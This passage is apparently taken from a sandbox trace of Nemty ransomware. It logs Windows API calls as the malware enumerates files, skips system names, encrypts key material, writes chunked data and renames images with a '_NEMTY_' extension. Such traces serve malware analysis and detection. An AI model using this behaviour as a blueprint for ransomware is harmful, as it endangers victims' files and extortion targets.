hHeap=0x4f90000) returned 1 [0076.114] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0076.114] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-border.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-border.png._nemty_kgobjgd_")) returned 0 [0076.114] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0076.114] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0076.114] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0076.114] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0076.114] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0076.114] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0076.114] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0076.114] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0076.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0076.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0076.115] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724c6b5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724c6b5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6dc875, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1681, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="Pets_frame-highlight.png", cAlternateFileName="")) returned 1 [0076.115] lstrcmpiW (lpString1="Pets_frame-highlight.png", lpString2=".") returned 1 [0076.115] lstrcmpiW (lpString1="Pets_frame-highlight.png", lpString2="..") returned 1 [0076.115] lstrcmpiW (lpString1="Pets_frame-highlight.png", lpString2="...") returned 1 [0076.115] lstrcmpiW (lpString1="Pets_frame-highlight.png", lpString2="windows") returned -1 [0076.115] lstrcmpiW (lpString1="Pets_frame-highlight.png", lpString2="$RECYCLE.BIN") returned 1 [0076.115] lstrcmpiW (lpString1="Pets_frame-highlight.png", lpString2="rsa") returned -1 [0076.115] lstrcmpiW (lpString1="Pets_frame-highlight.png", lpString2="NTDETECT.COM") returned 1 [0076.115] lstrcmpiW (lpString1="Pets_frame-highlight.png", lpString2="ntldr") returned 1 [0076.115] lstrcmpiW (lpString1="Pets_frame-highlight.png", lpString2="MSDOS.SYS") returned 1 [0076.115] lstrcmpiW (lpString1="Pets_frame-highlight.png", lpString2="IO.SYS") returned 1 [0076.115] lstrcmpiW (lpString1="Pets_frame-highlight.png", lpString2="boot.ini") returned 1 [0076.115] lstrcmpiW (lpString1="Pets_frame-highlight.png", lpString2="boot.ini") returned 1 [0076.115] lstrcmpiW (lpString1="Pets_frame-highlight.png", lpString2="AUTOEXEC.BAT") returned 1 [0076.115] lstrcmpiW (lpString1="Pets_frame-highlight.png", lpString2="ntuser.dat") returned 1 [0076.115] lstrcmpiW (lpString1="Pets_frame-highlight.png", lpString2="desktop.ini") returned 1 [0076.115] lstrcmpiW (lpString1="Pets_frame-highlight.png", lpString2="CONFIG.SYS") returned 1 [0076.115] lstrcmpiW (lpString1="Pets_frame-highlight.png", lpString2="RECYCLER") returned -1 [0076.115] lstrcmpiW (lpString1="Pets_frame-highlight.png", lpString2="BOOTSECT.BAK") returned 1 [0076.115] lstrcmpiW (lpString1="Pets_frame-highlight.png", lpString2="bootmgr") returned 1 [0076.115] lstrcmpiW (lpString1="Pets_frame-highlight.png", lpString2="programdata") returned -1 [0076.115] lstrcmpiW (lpString1="Pets_frame-highlight.png", lpString2="appdata") returned 1 [0076.115] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0076.115] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_frame-highlight.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0076.115] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0076.115] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_frame-highlight.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pets_frame-highlight.png", lpUsedDefaultChar=0x0) returned 24 [0076.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0076.115] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0076.115] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_frame-highlight.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0076.115] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0076.115] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_frame-highlight.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pets_frame-highlight.png", lpUsedDefaultChar=0x0) returned 24 [0076.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0076.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0076.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0076.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0076.116] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_frame-highlight.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0076.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0076.116] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_frame-highlight.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pets_frame-highlight.png", lpUsedDefaultChar=0x0) returned 24 [0076.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0076.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0076.116] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_frame-highlight.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0076.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0076.116] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_frame-highlight.png", cchWideChar=24, lpMultiByteStr=0x4f9ed58, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pets_frame-highlight.png", lpUsedDefaultChar=0x0) returned 24 [0076.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0076.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942b0 [0076.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0076.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0076.116] Sleep (dwMilliseconds=0x5) [0076.126] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe1057ab0, dwHighDateTime=0x1d561e7)) [0076.126] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe1057ab0, dwHighDateTime=0x1d561e7)) [0076.126] GetLastError () returned 0x5 [0076.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0076.126] GetLastError () returned 0x5 [0076.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0076.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0076.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0076.126] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0076.126] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0076.126] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0076.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0076.127] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="ffStIrVUPMJad3iRBSgGYlCkyF+TL0dy0F7Ber+8omoWzgIzneRE0CW22eFzd+zJ\r\nl9vpg7wdSW4msIDvGD5nJoIKsd6TNQtbAeOq0cbD09LYIbzDTiHbD253Lr+31TqA\r\n4BPZAlzvVbhjqXv1aBvkU1fHRjWuRb2ufEsBqAKb9Ljsj3Pbg3omLXoW1oAr75WI\r\nR7OkQaGRJiEBu7iUdq4G41x+3GRe1q6Z1pcJ0pmpARSRqRFl5D34MJbdOfEeDmPY\r\nIBbhI+5zg6PdSFl30zQYDihebwtvvZ/Daak2yT25ZZ7J+CXFETyuvi9CCaY7jQ/y\r\nUwWrCr9qob7rmm06sv9QVQ==\r\n", pcchString=0x653e91c) returned 1 [0076.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0076.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0076.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0076.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0076.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0076.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0076.127] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0076.127] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0076.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0076.127] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.127] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.136] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.136] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.136] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.136] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.146] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.146] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.146] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.146] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.156] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.156] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.156] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.156] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.169] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.169] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.169] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.169] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.196] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.196] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.196] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.196] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.206] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.206] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.206] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.206] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.215] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.215] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.215] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.215] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.225] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.225] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.225] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.225] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.234] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.234] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.234] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.234] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.245] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.245] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.245] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.245] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.251] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.251] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.251] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.251] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.257] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.257] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.257] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.257] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.257] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0076.258] CloseHandle (hObject=0xffffffff) returned 0 [0076.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0076.258] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0076.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0076.258] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0076.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0076.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0076.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0076.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0076.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0076.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0076.258] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-highlight.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-highlight.png._nemty_kgobjgd_")) returned 0 [0076.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0076.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0076.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0076.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0076.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0076.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0076.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0076.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0076.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0076.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0076.258] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722fdb01, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722fdb01, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6dc875, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1fe9, dwReserved0=0xf, dwReserved1=0x4f90000, 